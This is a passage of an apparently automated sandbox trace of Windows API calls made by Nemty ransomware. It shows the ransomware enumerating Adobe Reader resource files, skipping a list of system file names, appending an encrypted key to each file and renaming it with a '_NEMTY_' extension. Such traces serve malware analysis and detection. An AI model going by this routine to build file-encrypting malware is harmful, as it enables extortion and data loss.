CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0216.751] Sleep (dwMilliseconds=0x5) [0216.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34d624f0, dwHighDateTime=0x1d561e8)) [0216.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34d624f0, dwHighDateTime=0x1d561e8)) [0216.760] GetLastError () returned 0x0 [0216.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.760] GetLastError () returned 0x0 [0216.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.760] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.760] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.760] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.761] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="pIVr3OQm0gb8wNGZR4Y5pYxRvxgWd/2i9DrbfStGOUTKQSzdHDjVXGY2EYdkbWwD\r\n94mmrP4CcNKB6bVJtfCOBVLOHEuo5romjM2FF7+Z7aR54YqzsrugHo9VyuSPN6p1\r\nNQx/rH/PnPWyfgTp3xgV6QHJFGnvrvcAtu+sE9eWop33K3jIg/5w6/OoLHazmdYG\r\n8N7ihUhFJqccAJGF9W723zTGF9cQcMprI2rhxyFaVnYUPBJVpkH9+DihgdIEoOU0\r\nzLJahn5iagCIi3AIGdqTf44LzzfSKkH0hFwqxq6PRTO9LEfSoUK4rehAv55HM/Om\r\nAIMK3PLYkE3FdVVZdIE5KQ==\r\n", pcchString=0x653df5c) returned 1 [0216.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0216.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.761] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.761] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=2048) returned 1 [0216.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x800) returned 0x634ad48 [0216.761] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.761] ReadFile (in: hFile=0x320, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e1a4*=0x800, lpOverlapped=0x0) returned 1 [0216.763] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.763] WriteFile (in: hFile=0x320, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e19c*=0x800, lpOverlapped=0x0) returned 1 [0216.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0216.763] SetFilePointer (in: hFile=0x320, lDistanceToMove=2048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x800 [0216.763] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.763] CloseHandle (hObject=0x320) returned 1 [0216.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0216.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344178 [0216.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344250 [0216.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0216.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.763] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz.hyp._nemty_kgobjgd_")) returned 1 [0216.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344250 | out: hHeap=0x4f90000) returned 1 [0216.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0216.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0216.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.764] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fc9, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="brz32.clx", cAlternateFileName="")) returned 1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2=".") returned 1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2="..") returned 1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2="...") returned 1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2="windows") returned -1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2="$RECYCLE.BIN") returned 1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2="rsa") returned -1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2="NTDETECT.COM") returned -1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2="ntldr") returned -1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2="MSDOS.SYS") returned -1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2="IO.SYS") returned -1 [0216.764] lstrcmpiW (lpString1="brz32.clx", lpString2="boot.ini") returned 1 [0216.765] lstrcmpiW (lpString1="brz32.clx", lpString2="boot.ini") returned 1 [0216.765] lstrcmpiW (lpString1="brz32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0216.765] lstrcmpiW (lpString1="brz32.clx", lpString2="ntuser.dat") returned -1 [0216.765] lstrcmpiW (lpString1="brz32.clx", lpString2="desktop.ini") returned -1 [0216.765] lstrcmpiW (lpString1="brz32.clx", lpString2="CONFIG.SYS") returned -1 [0216.765] lstrcmpiW (lpString1="brz32.clx", lpString2="RECYCLER") returned -1 [0216.765] lstrcmpiW (lpString1="brz32.clx", lpString2="BOOTSECT.BAK") returned 1 [0216.765] lstrcmpiW (lpString1="brz32.clx", lpString2="bootmgr") returned 1 [0216.765] lstrcmpiW (lpString1="brz32.clx", lpString2="programdata") returned -1 [0216.765] lstrcmpiW (lpString1="brz32.clx", lpString2="appdata") returned 1 [0216.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0216.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340500 [0216.765] Sleep (dwMilliseconds=0x5) [0216.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34d88650, dwHighDateTime=0x1d561e8)) [0216.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34d88650, dwHighDateTime=0x1d561e8)) [0216.781] GetLastError () returned 0x0 [0216.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.781] GetLastError () returned 0x0 [0216.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.781] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.781] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.781] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.781] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="1gl/cJ+WkbqXBnEiWjt3ibxHre03hY3rNAig+YVhaSW/mVP5NPBDggbHTKRf9BNe\r\nLg9/cefxk+xsIWVS+931s18WPPHZ6qjWTYYo5wx/wrppePIsBa1dc0LY99+GD3F2\r\nf4ILuCDktELxOjdRAZXsdgtnX1YykmTIAmaptGPhgcUIkiHWWibuO01z1c8XeSQ0\r\n5FjXZOyOCezEold6y4fpS4fgFenzsAoH+pykdO82suEn2xwxE9pjYFtKKTEV2wye\r\npVz9cLJ6icPoSqEWljzu14tKBpivYKDao9Ppe0shV4yYPdoJWcDtDhHdVnD4JQjG\r\n8M/C6lSlQ6wtVoWrZ2mIcA==\r\n", pcchString=0x653df5c) returned 1 [0216.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.782] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.782] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32713) returned 1 [0216.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7fc0) returned 0x6352c48 [0216.782] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.782] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7fc0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x7fc0, lpOverlapped=0x0) returned 1 [0216.786] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.786] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x7fc0, lpOverlapped=0x0) returned 1 [0216.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.786] SetFilePointer (in: hFile=0x320, lDistanceToMove=32713, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7fc9 [0216.786] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.786] CloseHandle (hObject=0x320) returned 1 [0216.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63440c0 [0216.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344198 [0216.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344270 [0216.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344198 | out: hHeap=0x4f90000) returned 1 [0216.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.786] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz32.clx._nemty_kgobjgd_")) returned 1 [0216.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344270 | out: hHeap=0x4f90000) returned 1 [0216.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0216.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.787] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17df6, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="brz40.hsp", cAlternateFileName="")) returned 1 [0216.787] lstrcmpiW (lpString1="brz40.hsp", lpString2=".") returned 1 [0216.787] lstrcmpiW (lpString1="brz40.hsp", lpString2="..") returned 1 [0216.787] lstrcmpiW (lpString1="brz40.hsp", lpString2="...") returned 1 [0216.787] lstrcmpiW (lpString1="brz40.hsp", lpString2="windows") returned -1 [0216.787] lstrcmpiW (lpString1="brz40.hsp", lpString2="$RECYCLE.BIN") returned 1 [0216.787] lstrcmpiW (lpString1="brz40.hsp", lpString2="rsa") returned -1 [0216.787] lstrcmpiW (lpString1="brz40.hsp", lpString2="NTDETECT.COM") returned -1 [0216.787] lstrcmpiW (lpString1="brz40.hsp", lpString2="ntldr") returned -1 [0216.787] lstrcmpiW (lpString1="brz40.hsp", lpString2="MSDOS.SYS") returned -1 [0216.787] lstrcmpiW (lpString1="brz40.hsp", lpString2="IO.SYS") returned -1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="boot.ini") returned 1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="boot.ini") returned 1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="AUTOEXEC.BAT") returned 1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="ntuser.dat") returned -1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="desktop.ini") returned -1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="CONFIG.SYS") returned -1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="RECYCLER") returned -1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="BOOTSECT.BAK") returned 1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="bootmgr") returned 1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="programdata") returned -1 [0216.788] lstrcmpiW (lpString1="brz40.hsp", lpString2="appdata") returned 1 [0216.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz40.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz40.hsp", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz40.hsp", lpUsedDefaultChar=0x0) returned 9 [0216.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz40.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 